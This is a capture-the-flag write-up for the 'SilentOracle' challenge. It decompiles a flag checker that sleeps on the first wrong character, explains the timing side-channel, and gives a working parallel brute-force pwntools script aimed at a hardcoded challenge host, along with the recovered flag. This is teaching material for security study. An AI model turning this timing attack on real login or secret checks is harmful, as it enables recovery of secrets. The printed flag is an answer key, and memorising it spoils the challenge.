SilentOracle (rev/pwn) — Timing Side-Channel (fail-slow) Attack
**Flag:** `HTB{Tim1ng_z@_h0ll0w_t3ll5}`
Imported from Neurogrid CTF/rev.
SilentOracle (rev/pwn) — Timing Side-Channel (“fail-slow”) Attack
Flag: HTB{Tim1ng_z@_h0ll0w_t3ll5}
1. Code Flow (What the Program Does)
main
Decompiled main:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
size_t v4;
char s[72]; // user input buffer
unsigned __int64 v6;
v6 = __readfsqword(0x28u);
sub_11B9(); // disables buffering
puts(a0m382332m48229); // banner line 1
puts(a1533m); // banner line 2
printf("\x1B[1;5;33mATTEMPT YOUR SCHEMES: \x1B[1;5;31m");
memset(s, 0, 0x40);
if (!fgets(s, 64, stdin))
exit(-1);
v4 = strlen(s);
if (v4 && s[v4 - 1] == '\n')
s[v4 - 1] = 0; // strip newline
puts("\x1B[0m"); // reset color
if (sub_11FC((__int64)s, v4)) {
puts(a0m382204183149);
puts("\x1B[1;32mCONTINUE ON WITH YOUR ADVENTURE, O HONORABLE ONE\x1B[0m");
} else {
puts(a0m382443m48231);
puts("\x1B[1;5;31mYOU ARE BANISHED\x1B[0m");
}
return 0;
}
sub_11B9
void sub_11B9()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
→ All I/O is unbuffered, so timing is not distorted by stdio buffering.
sub_11FC – the core check
bool __fastcall sub_11FC(__int64 a1, __int64 a2)
{
signed int i;
for (i = 0; (unsigned int)i <= 0x14 && i < (unsigned __int64)(a2 - 1); ++i)
{
if (*(_BYTE *)(i + a1) != off_5D068[i]) // compare with secret flag bytes
{
puts(s); // echo input
sleep(5u); // <-- time delay
return 0; // fail immediately
}
}
return i == 21;
}
And in .data:
.data:000000000005D068 off_5D068 dq offset aHtbTestFlagHah
// "HTB{test_flag_hahaha}" (local test flag)
Overall logic:
-
Program prints banner.
-
Reads up to 63 bytes into s (user input).
-
Calls sub_11FC(s, len):
-
Compares each character with the secret flag (off_5D068).
-
On the first mismatch:
-
Prints your input (puts(s)).
-
Sleeps 5 seconds.
-
Returns false.
If all checked characters match and length is correct (i == 21), returns true.
main prints either:
-
Success banner (CONTINUE ON…), or
-
Failure (YOU ARE BANISHED).
Where Is the Bug? (The Timing Side-Channel)
The critical behavior inside sub_11FC:
if (*(_BYTE *)(i + a1) != off_5D068[i]) {
puts(s);
sleep(5u);
return 0;
}
Correct prefix: Loop continues instantly to the next character.
Wrong character: Immediately:
-
Echoes your input.
-
Sleeps 5 seconds.
-
Fails.
So:
-
Input with a valid prefix (all chars correct up to some position) returns quickly.
-
Input with a wrong char at position i triggers a 5-second delay.
This is the bug: the running time leaks how many characters of your input match the secret flag — a timing side-channel, specifically a “fail slow” pattern.
Important subtlety: They call puts(s) before sleep(5).
-> If your exploit only does recvline(), you may get that echoed line instantly and think the request is “fast”. But the process is still sleeping 5 seconds in the background.
To distinguish fast vs slow, you must:
Wait for the full response / connection close (e.g., recvall)
Measure total time from send → EOF
Exploit Strategy
Naïve sequential brute-force (too slow)
For each position i, try all candidate characters:
Each wrong guess → sleep(5) → ~5s.
If alphabet ≈ 70 characters:
Worst-case per position: 70 × 5s ≈ 350 seconds.
For ~20 characters, that’s …
Strategy: Parallel timing attack
-
We exploit several properties:
-
We can start many independent connections to the service.
-
Each connection is cheap (short input, one check).
-
The sleep only affects that one connection.
-
So for each character position:
-
We have a known correct prefix flag_prefix.
-
We create candidate payloads flag_prefix + c for all c in an alphabet:
-
alphabet = [A–Z, a–z, 0–9, symbols like {}_!@?]
-
Launch all candidates in parallel threads/processes:
-
For each candidate:
-
Connect to remote.
-
Send payload.
-
Wait for EOF with recvall(timeout=6).
-
Measure elapsed time.
Interpretation:
- If we see CONTINUE ON in the response → we reached end of flag.
Else:
-
elapsed < 3s → no sleep, so this candidate char is correct.
-
elapsed > 3s → hit sleep(5), candidate char is wrong.
-
Once we find a fast candidate:
-
Append that char to flag_prefix.
Break the loop for this position, move to the next index.
Stop when:
-
We hit }, or
-
The success message “CONTINUE ON…” appears.
-
Because we test 20+ candidates in parallel, each position costs only ~5s worst-case instead of 5s × alphabet.
Exploit Code (Final Working Script)
import time
import string
import concurrent.futures
from pwn import *
# Remote target
HOST = '83.136.250.108'
PORT = 40610
context.log_level = 'error'
# Candidate character set
alphabet = string.ascii_letters + string.digits + "{}_!@?"
def test_char(current_flag, candidate):
"""
Test one character in parallel.
Returns:
(candidate, True) -> this char is correct and we saw the success banner
(candidate, False) -> this char is correct (fast timing), continue to next pos
(None, False) -> this char is wrong (slow timing due to sleep)
"""
try:
# Remote solve by default
r = remote(HOST, PORT)
# Sync with prompt
r.recvuntil(b'ATTEMPT YOUR SCHEMES: ')
# Try current prefix + candidate char
payload = current_flag + candidate
start = time.time()
r.sendline(payload.encode())
# IMPORTANT: wait for full response / socket close
resp = r.recvall(timeout=6)
elapsed = time.time() - start
r.close()
# Check explicit success message
if b"CONTINUE ON" in resp:
return candidate, True
# Time-based decision:
# - Fast (< 3s) => no sleep => correct char
# - Slow (>= 3s) => sleep(5) => wrong char
if elapsed < 3.0:
return candidate, False
else:
return None, False
except Exception:
# Network glitches or timeouts: treat as inconclusive
return None, False
def main():
flag = "HTB{" # known prefix format for HTB flags
print(f"[*] Starting timing attack against {HOST}:{PORT}")
while True:
found_this_round = False
# Test many candidates in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
futures = {
executor.submit(test_char, flag, ch): ch
for ch in alphabet
}
for future in concurrent.futures.as_completed(futures):
candidate, is_end = future.result()
if candidate:
flag += candidate
print(f"[+] Extended flag: {flag}")
found_this_round = True
# Either explicit success or closing brace => done
if is_end or candidate == "}":
print(f"\n[SUCCESS] Final Flag: {flag}")
executor.shutdown(wait=False, cancel_futures=True)
return
# Once we have the correct char for this position,
# cancel remaining tests for this index.
executor.shutdown(wait=False, cancel_futures=True)
break
# If no char was confidently found, try the same position again
if not found_this_round:
print("[!] No char found this round (jitter?), retrying...")
if __name__ == "__main__":
main()
Result
Running the above script recovers:
HTB{Tim1ng_z@_h0ll0w_t3ll5}